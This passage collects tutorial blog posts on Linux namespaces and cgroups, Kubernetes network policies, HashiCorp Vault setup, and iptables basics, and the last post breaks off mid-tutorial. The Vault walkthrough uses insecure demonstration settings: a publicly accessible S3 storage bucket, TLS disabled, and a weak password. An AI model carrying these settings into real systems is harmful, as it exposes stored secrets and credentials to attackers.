* Mount namespaces - isolate mount points.
    

**Let's create a new namespace using the** `unshare` **command:**

The `unshare` command is used to run a program with certain namespaces unshared from the parent process.

```bash
$ unshare --mount
```

This command creates a new mount namespace, which means that the program that is run after the command will have its own view of the file system. The mounts made within the new namespace won't be visible in the parent namespace.

For example, if we mount a file system inside the new namespace, it will not be visible outside of the namespace:

```bash
$ unshare --mount /bin/bash
# mkdir /mnt/test
# mount -t tmpfs none /mnt/test
# ls /mnt/test
# exit
$ ls /mnt/test
ls: cannot access '/mnt/test': No such file or directory
```

To start with, we create a new mount namespace by executing the `unshare --mount` command in this example. We then start a new shell inside the namespace using `/bin/bash`. Inside the shell, we create a new directory `/mnt/test` and mount a `tmpfs` file system on it. To verify the mounting was successful, we list the contents of the directory.

When we exit the shell, we're back in the parent namespace. If we try to access the `/mnt/test` directory, we get an error because the directory was only visible inside the child namespace.

This is just an example of how you can create a mount namespace, you can also create other namespaces using the `unshare` command, depending on your need.

### Control groups (cgroups)

![](/img/blog/understanding-how-containers-work-behind-the-scenes/ed1d833c-1013-4ae3-93f6-771d1c80c9d1.png align="center")

Cgroups help to limit the use of resources so that a single container is not utilizing all the resources available. It allows managing various system resources such as:

* CPU - limit CPU utilization.
    
* Memory - limit memory usage.
    
* Disk I/O - limit disk I/O.
    
* Network - limit network bandwidth.
    

With the help of cgroups docker engine helps to share available hardware resources with the container and puts a limit on how much resources the container can use.

**Let's create a new cgroup named "mygroup" to manage CPU resources using** `cgcreate` **command:**

1\. First, create a new directory for the cgroup:

```bash
$ sudo mkdir /sys/fs/cgroup/cpu/mygroup
```

A folder named "mygroup" is created on the above path.

![](/img/blog/understanding-how-containers-work-behind-the-scenes/bbd3c8e8-7d70-45ca-b0cd-0703f29a3811.png align="center")

All these different files define the limit on the CPU.

2\. Then, assign the "cpu" subsystem to the new cgroup:

```bash
$ sudo sh -c "echo $$ > /sys/fs/cgroup/cpu/mygroup/cgroup.procs"
```

This command adds the current shell process ID to the "cgroup.procs" file of the "mygroup" cgroup, indicating that it belongs to this cgroup.

3\. Next, set the CPU usage limit for the cgroup:

```bash
$ sudo cgset -r cpu.cfs_quota_us=50000 mygroup
```

This command sets the maximum CPU usage to 50% of one CPU core for the "mygroup" cgroup.

Now, any processes that are added to the "mygroup" cgroup will have their CPU usage limited to the specified value. For example, using the `cgexec` command, you can start a new process in the cgroup.

```bash
$ sudo cgexec -g cpu:mygroup /bin/bash
```

This command starts a new shell process in the "mygroup" cgroup with CPU usage limited to the value set earlier.

The `cgcreate`, `cgset`, and `cgexec` commands are part of the `libcgroup` package, which you may need to install before using them.

**Here's an example of how to run a Docker container with a CPU limit of 50% of one CPU core:**

```bash
$ docker run --cpus 0.5 <image>
```

This command starts a new container with the specified image and limits its CPU usage to 50% of one CPU core.

## Conclusion

In this article we saw what namespaces and cgroups are and by using these features how can docker create a unique set of namespaces and cgroups for each container, making it possible to run multiple containers on a single host machine without any problems.

I hope you understood how docker works behind the scenes 😁.

Also, check out this wonderful hands-on workshop by [Chad](https://twitter.com/ChadMCrowell) to learn more about Linux and Docker :)

%[https://www.youtube.com/watch?v=EUu1E_YKGTw&t=12948s]

---

# Implementing Kubernetes Network Policies: A Comprehensive Guide

- Canonical: https://blog.kubesimplify.com/implementing-kubernetes-network-policies-a-comprehensive-guide
- Published: 2023-04-07

Network policies are networking rules in Kubernetes that will allow you to specify how the pod can communicate with other objects.

Network policies are not mandatory to establish communication with pods. However, network policies will add one more layer of network security and help control traffic at Layers 3 and 4 (IP and ports).

The idea of network policy is born in the networking SIG group of Kubernetes in 2015. It was included in the alpha release of v1.2 (2016) and moved to beta in v1.3(July 2016). Below is the proposal for the Network policy by Casey Davenport.

%[https://github.com/kubernetes/kubernetes/pull/24154] 

It is released stable as part of release v1.7 (June 2017).

![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/2d52beab-d5eb-487a-a686-df2baa09723a.png align="center")

### **What are the things that you can control using Network policies?**

* Pods that are allowed to communicate with other pods.
    
* Namespaces that are allowed.
    
* IP Blocks for connection.
    

**Policies are applied based on Selectors and CIDR range:**

* When dealing with pods or namespaces, we use selectors to identify the resources for which our policy needs to be applied.
    
* When we want to create policies that need IP range restrictions, we use CIDR ranges.
    

### **CNI — the mandatory element**

Network policies need a network plugin. You must need a network plugin that supports Network Policy. Without a suitable plugin, all your network policies are of no use. Even if you apply a network policy without a supported CNI configured, those network policies didn’t affect any traffic. Some of the CNI plugins that support network policies are:

* Weave
    
* Calico
    
* Cilium
    
* Romana
    

### Some points to note:

**Ingress and Egress:**

Ingress means the traffic that is entering the Pod. Similarly, egress is the traffic that is leaving the pod.

**Default = Allow All:**

By default, the pod allows all ingress and egress. It means it has no restrictions for both inbound and outbound traffic.

**No Deny Rules:**

There are no denied rules in Network policies. You can only specify traffic to be allowed and the rest is denied (you can’t write what to deny). You cannot get in if traffic is not allowed on the policy.

**empty selector:**

An empty selector means everything. If PodSelector:{} is mentioned, it will select all the pods in the namespace.

**Null selector:**

If the policy contains a Null selector \[\], means it is not selecting anything (so all traffic is blocked).

**Policies are 'OR'ed:**

Network policies are additive. If multiple policies are applied to a single pod, all the policies are OR’ed.

*Network policies do not conflict; they are additive. If any policy or policies apply to a given pod for a given direction, the connections allowed in that direction from that pod are the union of what the applicable policies allow. Thus, the order of evaluation does not affect the policy result.*

**Network policy is namespace scoped:**

Network Policies are scoped to the namespace, which means it will affect the traffic of the pods in the namespace at which the policy is applied.

### Network Policy Resource definition:

A sample NetworkPolicy look like this:

```yaml

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
  ingress: {}
  egress: {}
```

Just like any other Kubernetes resource, A NetPol (simplification of Network Policy) needs `apiVersion`, `kind`, and `metadata` fields. The `spec` section is also like any other k8s resource, mentions all the information needed for the Network policy.

**podSelector:**

Every Network Policy definition contains the `podSelector` field which defines which pods need to select. In the above policy definition, we used an empty selector `{}` means the policy will select all the pods in the namespace.

If we have to select the pods with specific labels, we use `matchLabels` to mention the labels.

```yaml
......
podSelector:
    matchLabels:
       role: db #Selects the pods with labels "role = db
......
```

**policyTypes:**

This field indicates the traffic flow direction in which the policy will be applied. It can be Ingress, Egress, or both. If no `policyTypes` are specified on a NetworkPolicy then by default `Ingress` will always be set and `Egress` will be set if the NetworkPolicy has any egress rules.

**Actual rules:**

Each network policy has a rules section named `ingress` and `egress` based on the policy type you mentioned. These sections define the actual rules that need to be satisfied before the traffic is allowed to your pod.

* `ingress`: This section contains the ingress-allowed rules. It has sections `from` and `ports` which defines from which pod/namespace/ipBlock traffic is allowed at which port. In the above sample policy, we have used an empty selector, so it will allow all ingress.
    
* `egress`**:** Just like ingress, this section contains the egress-allowed rules. It has sections `to` and `ports` which defines to which pod/namespace/ipBlock traffic is allowed at which port.
    

Now that we know the basic concept of NetworkPolicy, let us create some scenarios to learn a bit more about them.

### **Scenario 1:**

**Use a network policy to restrict ingress traffic for pods with labels "type: critical" only to allow traffic from pods with labels "access: approved".**

* We have already created the pods that we will be using for this scenario.
    

![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/893d3289-d604-495e-b997-6b06ed3c3266.png align="center")

* By default, if no Network Policy is applied all the pods can access other pods using IP or Service DNS name.
    

![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/89bbbbfa-ed22-4a01-80fa-b86c3f9d3040.png align="center")

![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/a6eb2494-70c5-466f-a6f3-d2af520a3f80.png align="center")

* We don't want this to happen, so let's create a Network Policy that will limit the ingress traffic to pods with labels "type: critical" to only allow traffic from pods with "access: approved" labels.
    

From the scenario statement, we see that the policy needs to apply to pods with labels `type: critical` (It is the podSelector section).

Also, we can see that it needs to ingress traffic from pods with labels `access: approved` (so we clearly have an ingress rule here).

Combining the above two points, we can have the following manifest.

```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-critical-ingress
spec:
  podSelector:
    matchLabels:
      type: critical
  ingress:
  - from:
    - podSelector:
        matchLabels:
          access: approved
```

But we are still not sure if it works as we intended or not. Let's apply it and test it out.

* Tried to access the pod with `type: critical` from pod with label `access: approved`. It can access the pod.
    
    ![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/dea3d27d-de0e-4915-aaa1-dd40a1627cb9.png align="center")
    
* You probably wondering what's so interesting here !!! It has access earlier too. Yes, it has access earlier too, but earlier the `test-pod` also has access to the `critical-pod`. But let us try it now.
    
    ![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/f40cf1cb-3ca7-42f7-92f6-297169524ed9.png align="center")
    
* As you can see, the `test-pod` can't access `critical-pod` now. But why? It is happening because we did not mention any ingress rule for `test-pod` access `critical-pod.` So it failed to access.
    

Our Network Policy works 🥳. This way you can use Network policies to limit the traffic to/from the pods in a namespace.

### **Scenario 2:**

Consider a situation where you deployed pods in several namespaces, but you don't want all of them to have access to each other and you have several restrictions on which pods and which ports need to have access. Will Network Policies help in such cases?

Let's find it out.

* For this scenario, We have deployed pods in `alpha`,`beta` and `gamma` namespaces. We want our pods in `alpha` namespace with labels `type: kubesimplify` needs to be accessed from all pods from the namespace `gamma` and also pods with labels `access: community`. We don't want any Egress connectivity to the pod except at port 53.
    
    Sounds complex? It is not. Let us break down the entire problem statement into simple rules.
    
    * Namespace in which the policy needs to be applied is the namespace in which the pod is deployed = `alpha`
        
    * Policy needs to be enforced on pods with labels `type: kubesimplify` . So podSelctor sections use these labels.
        
    * Pods in the namespace `gamma` need to have access and also pods with labels `access: community` should have access. So ingress from rules would be as follows.
        
        ```yaml
        ...
        ingress:
            - from:
               - podSelector:
                   matchLabels:
                     access: community
                 namespaceSelector: {} #These pods can be in any namespace
            - from:
               - namespaceSelector:
                   matchLabels:
                     name: gamma
        ...
        ```
        
    * All egress connectivity is restricted except at port 53. So our egress rule can be written as follows:
        
        ```yaml
        egress:
         -  ports:
              - protocol: UDP
                port: 53
              - protocol: UDP
                port: 53
        ```
        
    
    Combining all the above rules into a single manifest will look as follows.
    
    ```yaml
    apiVersion: networking.k8s.io/v1
    kind: NetworkPolicy
    metadata:
      name: kubesimplify-access
      namespace: alpha
    spec:
      podSelector:
        matchLabels:
          type: kubesimplify
      ingress:
      - from:
        - namespaceSelector: {}
          podSelector:
            matchLabels:
              access: community
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: gamma
      egress:
      - ports:
          - protocol: TCP
            port: 53
          - protocol: UDP
            port: 53
      policyTypes:
      - Ingress
      - Egress
    ```
    
    I have applied the above Network Policy. To see more information about policy details, use `kubectl describe netpol <policy name>` .
    
* ![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/ac53a690-0598-4384-9682-22cdd985e284.png align="center")
    

Let us perform a connectivity test to check if the policy is working as expected or not.

1. Pods in `gamma` the namespace should have access to `kubesimplify` pod which has the label `type=kubesimplify`.
    
    ![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/1bbe5d5b-a7f4-4a96-a3a6-051ac1141df1.png align="center")
    
2. Pods with the label `access=community` should have access to `kubesimplify` pod.
    
    ![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/fe4f9796-1315-451b-b7c9-36bb0ae924d8.png align="center")
    
3. All the traffic which is not part of the policy should be denied.
    

![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/e46d0ae2-adba-46d2-8498-a54e66693353.png align="center")

1. Egress connectivity of pod with label `type=kubesimplify` should be restricted except on port 53 (nslookup uses port 53).
    
    ![](/img/blog/implementing-kubernetes-network-policies-a-comprehensive-guide/ae96b2f6-c7a7-4853-a25b-8f749962ca97.png align="center")
    

Our policy works as expected.

These scenarios only explain the basic use cases of Network Policies. We can also implement network policies to allow traffic from a particular range of IPs and ports.

### Things you can't do:

Although Network Polices helps to control the traffic that is accessing the pods, it still cannot perform several things (not yet) such as:

* It cannot do anything related to TLS, you might need to use additional resources for that.
    
* You cannot target the services using their name.
    
* You cannot create default policies that will be applied to all namespaces and pods.
    
* You cannot log the network security events such as which requests are blocked, allowed, etc.
    
* You cannot directly write the deny rule in the policy.
    
* To know more restrictions visit [Kubernetes docs](https://kubernetes.io/docs/concepts/services-networking/network-policies/#what-you-can-t-do-with-network-policies-at-least-not-yet:~:text=a%20specific%20namespace.-,What%20you%20can%27t%20do%20with%20network%20policies%20(at%20least%2C%20not%20yet),-As%20of%20Kubernetes)
    

**Additional Resources:**

1. [Kubernetes docs](https://kubernetes.io/docs/concepts/services-networking/network-policies)
    
2. [https://editor.networkpolicy.io/](https://editor.networkpolicy.io/) - To create network policies using the visual editor.
    
3. [https://github.com/ahmetb/kubernetes-network-policy-recipes](https://github.com/ahmetb/kubernetes-network-policy-recipes)
    

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# How get started with Hashicorp Vault🛡️

- Canonical: https://blog.kubesimplify.com/how-get-started-with-hashicorp-vault
- Published: 2023-04-05
- Summary: it provides how to setup vault, how to configure backend with S3 and more and finally how to make auto-seal work and HTTPS with self signed certificate

# Introduction

It is a tool for managing secrets and sensitive data in modern computing environments. Especially in a dynamic environment. Which can be accessed using API, CLI as well as web app also if you don't want to manage the infrastructure on your own then you can use the SaaS offering by HashiCorp

**Why?**

In earlier app development we have to manually update the Secret / API Tokens which means human intervention for Key Rotation and updating the App Source Code's configurations. But, using the vault the app reaches out to the vault for fetching the token by providing valid authentication, and then the token will be used for authorization purposes, getting Required Secret Keys, and more. Tokens are frequency rotated based on **max TTL(Time To Live) (i.e. Dynamic secrets** 😉 **)** hence taking out the logic for managing the key rotation out of apps hence better security management and lowering the development overhead for adding security functionality

%[https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExZjhjMGVlMDQwMTVlMDQ3ZWViZDgwMDllZjZkYTg2MmEyNzIzN2IyYyZjdD1n/Tk7IIQTldNwllIRId2/giphy.gif] 

# How to Install

There are various methods:

* binary
    
* package manager
    

If you have `brew`

```bash
brew tap hashicorp/tap
brew install hashicorp/tap/vault
```

👉 [Download Link](https://developer.hashicorp.com/vault/downloads)

# How to start the vault in `dev` mode ⛓️

Running development/testing mode

```bash
vault server -dev
```

![](/img/blog/how-get-started-with-hashicorp-vault/5137aca9-82b6-4bc8-9ba6-d1cc932fd056.png align="center")

then you need to set the required export for vault\_addr and login as a root user using ROOT token. and check the status of the vault cluster which says the following:

* the Cluster is `unsealed` (`seal` -&gt; cluster is running it requires the keys to decrypt the master key which in itself decrypts the backend storage)
    
* backend storage type is `inmem` which is in-memory
    
* seal type is `shamir`
    

> **Note**: `ROOT TOKEN` must be saved in highly secured environment

# Now let's do it in `prod` environment 🏭

```bash
vault server -config=config.hcl
# here the config.hcl will contain the required config for vault to run in production mode
```

## Vault config (Example)📃

```bash
# for vault config -> /etc/vault.d/vault.hcl
storage "consul" {
  address = "127.0.0.1:8500"
  path    = "vault/"
  token   = "XXXXXX-yyyy-zzz-aaaa-BBBBBB"
}

listener "tcp" {
 address = "0.0.0.0:8200"
 cluster_address = "0.0.0.0:8201"
 tls_disable = 0
 tls_cert_file = "/etc/vault.d/client.pem"
 tls_key_file = "/etc/vault.d/cert.key"
 tls_disable_client_certs = "true"
}

seal "awskms" {
  region = "<Region of KMS>"
  kms_key_id = "<AWS KMS key ID>",
  endpoint = "example.kms.<Region of KMS>.vpce.amazonaws.com"
}

api_addr = "https://vault-us-east-1.example.com:8200"
cluster_addr = " https://node-a-us-east-1.example.com:8201"
cluster_name = "vault-prod-us-east-1"
ui = true
log_level = "INFO"
license_path = "/opt/vault/vault.hcl"
disable_mlock=true
```

**Key points**

* Backend storage - `consul` which is another storage which is a product of Hashicorp, and various field can be checked out 👉 [Docs link](https://developer.hashicorp.com/vault/docs/configuration/storage)
    
* Listener method - `tcp` means tcp connection as Transport Layer protocol 👉 [Docs link](https://developer.hashicorp.com/vault/docs/configuration/listener)
    
* Seal - we are using `awskms` for automatic unseal of the vault cluster 👉 [Docs link](https://developer.hashicorp.com/vault/docs/configuration/seal)
    
* UI - to set whether we want UI interface for the cluster
    
* and more option 👉 [Docs link](https://developer.hashicorp.com/vault/docs/configuration)
    

## What is AutoSeal, Why do we need and how to config? 📝

Vault unseal operation requires a quorum of existing unseal keys split by Shamir's Secret sharing algorithm. This is done so that the "keys to the kingdom" won't fall into one person's hand.

![Unseal with Shamir's Secret Sharing](https://content.hashicorp.com/api/assets?product=tutorials&version=main&asset=public%2Fimg%2Fvault%2Fvault-autounseal.png align="left")

As, this process is manual and can become painful when you have many Vault clusters as there are now many different key holders with many different keys.

Instead of using shared keys are replaced by the vault transit key in a `ault secrets engine`or instead of creating another vault cluster for maintaining this process we can make some trusted cloud environment handle it for us like **awskms**

![Unseal with Transit](https://content.hashicorp.com/api/assets?product=tutorials&version=main&asset=public%2Fimg%2Fvault%2Fvault-autounseal-12.png align="left")

for instance, when **awskms** is configured, the vault cluster during `init` stage creates and transfers data between kms and the cluster to store the vault keys. After any further shutdown or restart of cluster, it will reach out the awskms for unseal of cluster. *It is an automatic process*

```bash
seal "awskms" {
  #......
}
# Add this block to /etc/vault.d/vault.hcl
```

For more info on this topic 👉 [Refer Docs link](https://developer.hashicorp.com/vault/tutorials/auto-unseal/autounseal-transit)

## What is Backend, Why do we need and how to config? 📝

In vault language storage backend is untrusted storage where only encrypted data is stored and all the logic of encrypt and decrypt are inside a confined layer inside Vault cluster, whenever the data goes out of cluster it's always encrypted. Logging is given more priority than Performace as it's more important to log the event for a later security audit than to log after the data is processed. If the event is unable to be logged, vault does not process the event and throws an error

So in a nutshell, the storage backend is the location for the durable storage of Vault's information. When selecting which backend to use, remember each backend has pros, cons, advantages, and trade-offs.

For more info on this topic 👉 [Refer Docs link](https://developer.hashicorp.com/vault/docs/concepts/storage)

# Let's play around and learn 🏏

Let's get started with configuring the vault server

Prerequisites

* Vault binary
    
* root access to the server
    
* AWS account
    
* server is authenticated to AWS cloud
    

## **Step 1**: Setup AWS Credentials 🛶

Install the credentials using AWS CLI or directly create a file

```bash
cat <<EOF > ~/.aws/credentials
[default]
aws_access_key_id = AABBCCXyz
aws_secret_access_key = Abdcdcdiweif43323
```

Now the AWS credential part is ready!

## **Step 2**: Make the installed vault package to start automatically by systemd 🚤

let's move forward and add systemd file to make automatic startup of vault binary on startup

```bash
sudo su
cat << EOF > /usr/lib/systemd/system/vault.service
[Unit]
Description="HashiCorp Vault - A tool for managing secrets"
Documentation=https://www.vaultproject.io/docs/
Requires=network-online.target
After=network-online.target
ConditionFileNotEmpty=/etc/vault.d/vault.hcl  # important
StartLimitIntervalSec=60
StartLimitBurst=3

[Service]
User=root # important
Group=root # important
ProtectSystem=full
ProtectHome=read-only
PrivateTmp=yes
PrivateDevices=yes
SecureBits=keep-caps
AmbientCapabilities=CAP_IPC_LOCK
Capabilities=CAP_IPC_LOCK+ep
CapabilityBoundingSet=CAP_SYSLOG CAP_IPC_LOCK
NoNewPrivileges=yes
ExecStart=/usr/bin/vault server -config=/etc/vault.d/vault.hcl # important
ExecReload=/bin/kill --signal HUP $MAINPID
KillMode=process
KillSignal=SIGINT
Restart=on-failure
RestartSec=5
TimeoutStopSec=30
StartLimitInterval=60
StartLimitIntervalSec=60
StartLimitBurst=3
LimitNOFILE=65536
LimitMEMLOCK=infinity # important

[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
```

As now the startup script is ready, we can now config the vault server settings

## **Step 3**: Create AWS S3 bucket for storage of the vault 🛥️

We are using cloud-based storage as it is highly available. No data loss

* with the name "&lt;Bucket\_Name&gt;" or make it something unique as it will be our storage with default settings
    
* Make sure you allow all public access
    
    > **NOTE**: only for demonstration purpose
    
    ![](/img/blog/how-get-started-with-hashicorp-vault/d2709e0d-5961-4b97-95ff-3da90a4347aa.png align="center")
    
* Link for how to create 👉 [S3 bucket](https://docs.aws.amazon.com/AmazonS3/latest/userguide/create-bucket-overview.html)
    

![](/img/blog/how-get-started-with-hashicorp-vault/1bec7386-8292-44ab-8b16-e78f656683a1.png align="center")

* Once created the bucket it will be empty
    
* copy the bucket name
    

## **Step 4**: Create a key in AWS KMS for AutoSeal ⛴️

It will help a lot when you vault server/cluster restarts, or you start it after shutdown it will automatically unseal it

* Go to AWS KMS dashboard
    
* Click on the customer-managed key
    

![](/img/blog/how-get-started-with-hashicorp-vault/dac81ed3-0a70-4ab0-8d29-64511411c113.png align="center")

![](/img/blog/how-get-started-with-hashicorp-vault/5eadf5ea-39a5-4735-914c-583f326168fc.png align="center")

* Select the checkbox to enable a specific IAM user to have permission to delete the KMS key
    

![](/img/blog/how-get-started-with-hashicorp-vault/1ea614d9-ac74-4373-b98d-20797d625518.png align="center")

![](/img/blog/how-get-started-with-hashicorp-vault/66a0df0f-3e29-4e39-9c35-293788d3cfcf.png align="center")

![](/img/blog/how-get-started-with-hashicorp-vault/f23b83ab-47d8-41f9-81a9-e777f18fc5a7.png align="center")

* Save the KMS ID and region where its created
    

## **Step 5**: Create an Endpoint in VPC (Regional based service) to access the key(s) 🚢

![](/img/blog/how-get-started-with-hashicorp-vault/efb3deb7-7216-4765-8d80-2d29bee8a3de.png align="center")

![](/img/blog/how-get-started-with-hashicorp-vault/639b1d31-2858-431d-af46-082c65f67338.png align="center")

As the endpoint is created we can now be able to use the KMS service using that VPC

> **Note**: Make sure KMS and endpoint are in the same region

## **Step 6: vault configuration** 🛳️

```bash
cat <<EOF > /etc/vault.d/vault.hcl
# Full configuration options can be found at https://www.vaultproject.io/docs/configuration

ui = true

#mlock = true
#disable_mlock = true

disable_mlock = true
#storage "file" {
#  path = "/home/dipankar/vault/data"
#}

storage "s3" {
  bucket = "<Bucket_Name>"
}

# HTTP listener
#listener "tcp" {
#  address = "127.0.0.1:8200"
#  tls_disable = 1
#}

listener "tcp" {
  address       = "0.0.0.0:8200"
  tls_disable = 1  # no TLS i.e. no HTTPS
  tls_cert_file = "/etc/vault.d/vault.crt"
  tls_key_file  = "/etc/vault.d/vault.key"
  tls_disable_client_certs = "true"
}

seal "awskms" {
  region = "<KMS_KEY_REGION>"
  kms_key_id = "<KMS_KEY_ID>"
  endpoint = "kms.<KMS_KEY_REGION>.amazonaws.com"
}
EOF
```

## Let's bootup the vault 🤞

![](/img/blog/how-get-started-with-hashicorp-vault/286f32b6-79d2-4b11-a44a-e52b8b913961.png align="center")

```bash
sudo systemctl start vault
sudo systemctl enable vault
sudo systemctl stop vault # to stop the vault server

# vault is uninitialized and sealed
vault status

# lets initialize the vault server
vault operator init # it will output the root login token(KEEP IT SAVED)

# so now the vault must be initialized and unsealed
vault status

# login
vault login <ROOT_TOKEN>

# In order to use login method other than token and it is
# userpass then we first need to enable the auth method
vault auth enable userpass

# now we need to specify the nwe username and password
vault write auth/userpass/users/<username> password=<password>

# Lets add a new secret
vault secrets enable kv

# In next section we will enable specific auth method and policies
```

![](/img/blog/how-get-started-with-hashicorp-vault/33d61f60-1b29-4a17-bbf6-df4a8962d5f6.png align="center")

login into specific userpass user

![](/img/blog/how-get-started-with-hashicorp-vault/28b425b1-c1ab-4f55-843b-4509e2bed55d.png align="center")

Created the secret key and how to access them

![](/img/blog/how-get-started-with-hashicorp-vault/c0d145e9-894b-4926-9751-d958a570d9ee.png align="center")

## Turn on Specific auth method and policies

```bash
# for restrictive access for the user to kv store only
cat <<EOF > user-policy.hcl
path "kv/*" {
  capabilities = ["list", "read", "update", "delete"]
}

path "kv" {
  capabilities = ["list", "delete"]
}
EOF

vault policy write user-dipankar user-policy.hcl
vault write auth/userpass/users/dipankar policy=user-dipankar password=1234
vault secrets enable kv
```

> the above policy `user-dipankar` will allow user who has this policy attached to **read**, **update**, **list**, and **delete** permissions in the path kv/......
> 
> but you may ask them to then allow kv path its because to query the secret the user must have permission to access kv path i.e. able to see kv option in UI and then can navigate to other subdirectories

For more info on CLI commands, do refer 👉 [CLI Docs link](https://developer.hashicorp.com/vault/docs/commands)

## Update for HTTPS 🛡️ (self-signed cert)

```bash
#!/bin/bash
cd /etc/vault.d
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out vault.crt -keyout vault.key

# it will create the vault.crt and vault.key

# now make changes to the vault.hcl
listener "tcp" {
  address = "0.0.0.0:8200"
  tls_cert_file = "/etc/vault.d/vault.crt"
  tls_key_file  = "/etc/vault.d/vault.key"
  tls_disable_client_certs = "true"
}
```

if you want to use that commonName you can edit the `/etc/hosts` file

# End remarks 🪂

I hope you liked this blog. If any mistake, do comment down below 🚀.

Do like and share this blog♥️

%[https://media.giphy.com/media/RlrcXMffVZaouUVPGD/giphy.gif] 

Here are my socials:

Twitter [https://twitter.com/DipankarDas011](https://twitter.com/DipankarDas011)

Linkedin [https://www.linkedin.com/in/dipankar-das-1324b6206/](https://www.linkedin.com/in/dipankar-das-1324b6206/)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Iptables Firewall Demo: Learn How to Secure Your Network

- Canonical: https://blog.kubesimplify.com/iptables-demo
- Published: 2023-03-29
- Summary: Secure your Linux network with an IPTABLES firewall demo. Learn about chains, rule matching, and extensions for improved security

### Introduction

This hands-on tutorial on creating your own firewall rules is in continuation of my previous blog. So if you haven't already read that, here's the link:

%[https://blog.kubesimplify.com/firewall-a-networks-gatekeeper] 

### 💻IPTABLES firewall in Linux

The Linux kernel firewall can be configured by system administrators using iptables, a user-space utility program. It is a crucial tool for Linux users as it offers a robust firewall to safeguard against malicious attacks. It can be used for managing network traffic efficiently.

Netfilter modules are used to implement the firewall, which contains filters organized into various tables. These tables contain chains of rules for handling network traffic packets. Establishing these rules for incoming and outgoing network traffic gives you complete control over the packets allowed through or blocked from entering or leaving your system based on source and destination addresses, ports, and other criteria. Iptables even permit the creation of custom rules for specific services or applications, granting you greater flexibility in managing your network. Additionally, it helps ensure that only authorized users can access specific parts of your network.

A comprehensive understanding of iptables and their proper use can significantly enhance your system's security against potential attackers. As a Linux system administrator, IPTABLES is an essential part of your toolkit for providing secure access control to your network.

#### Traversing chains and Rule matching

Now that you've got a basic understanding of iptables, it's time to dive deeper into the world of network security and explore the intricacies of traversing chains and rule matching. These concepts are at the heart of how iptables filters and manages network traffic, allowing you to specify precisely which packets should be allowed or blocked based on a set of rules. By understanding how chains and rule matching work in iptables, you can gain greater control over your network traffic and ensure that only authorized traffic is allowed through.

In iptables, a chain is a collection of rules applied to incoming or outgoing network traffic. When a packet arrives on a network interface, iptables checks the packet against the rules in the appropriate chain and either accepts, rejects, or modifies the packets based on the rules.

There are three main types of chains in iptables: the *INPUT* chain, the *OUTPUT* chain, and the *FORWARD* chain. The *INPUT* chain is used to filter incoming traffic to the local system, while the *OUTPUT* chain filters outgoing traffic from the local system. The *FORWARD* chain is used to filter traffic that is being routed through the system, such as traffic between two different networks. In addition to these three main chains, several predefined chains are used for specific purposes, such as the *PREROUTING* and *POSTROUTING* chains, which are used for network address translation (NAT), and the *mangle* chain, which is used for packet modification. Finally, you can also create your own custom chains, which can organize your rules into logical groups, simplify your rule sets, and make your iptables configuration more manageable. By understanding the different types of chains in iptables, you can gain greater control over your network traffic and create a more secure and stable network environment.

Now, Rule matching is a crucial aspect of iptables that enables you to define precisely which packets should be accepted or blocked based on a set of criteria. When a packet arrives on a network interface, iptables checks the packet against a series of rules to determine what actions should be taken. Each rule specifies a set of conditions that must be met for the rule to match, such as the source or destination IP address, the protocol, the port number, or other attributes of the network traffic. If a packet matches a rule, iptables will apply the action specified in the rule, such as accepting, rejecting, or modifying the packet.

Rule matching in iptables is incredibly flexible and powerful, allowing you to define complex rules that filter traffic based on multiple criteria. You can also use various operators and modifiers to refine your rules further, such as negating a condition, using regular expressions, or applying a rule only to certain network interfaces. By understanding how rule matching works in iptables, you can create a more effective and efficient firewall configuration that provides the level of network security that you require. Whether you're a Linux administrator, a network engineer, or just a curious user, iptables' rule-matching capabilities offer a valuable tool for managing your network traffic and keeping your systems secure.

#### Extension Modules

Iptables offers more advanced functionality to your firewall configuration with its extension modules. These modules act as plugins that enhance the built-in chains and rule-matching capabilities of iptables. By using these extension modules, you can add more features and options to your firewall configuration beyond what the base system provides.

A wide range of extension modules is available for iptables, each of which provides a different set of features and capabilities. Some examples of commonly used extension modules include the conntrack module, which enables iptables to track and manage network connections, and the limit module, which allows you to limit the rate of incoming or outgoing network traffic.

By leveraging extension modules, you can extend the functionality of iptables to meet your specific network security needs and gain greater control over your network traffic. Whether you're a system administrator, a developer, or just a curious user, iptables' extension modules offer a powerful tool for customizing your firewall configuration and creating a more secure and reliable network environment.

### ⭐Some rules to make you familiar with Iptables.

1. Installing iptables.
    
    ```c
    sudo apt install -y iptables
    
    // The command installs the iptables package on the system without requiring any confirmation.
    ```
    
2. Delete all existing rules.
    
    ```c
    iptables -F 
    
    //-F: a parameter that stands for "flush". It deletes all the rules from the selected chain (or all chains if none is given).
    ```
    
3. Show the current rules.
    
    ```c
    iptables -L 
    
    //-L: a parameter that stands for "list". 
    //The command lists all the rules in the current iptables configuration. It shows the table name, chain name, target name, and any additional parameters for each rule.
    ```
    
    ![](/img/blog/iptables-demo/d840a92d-80ff-4360-baca-61bd0985caf5.png align="center")
    
4. Set default chain policies to DROP (drops all packets).
    
    ```c
    iptables -P INPUT DROP
    iptables -P FORWARD DROP
    iptables -P OUTPUT DROP
    
    //-P: a parameter that stands for "policy". It sets the default policy for the selected chain to the specified target.
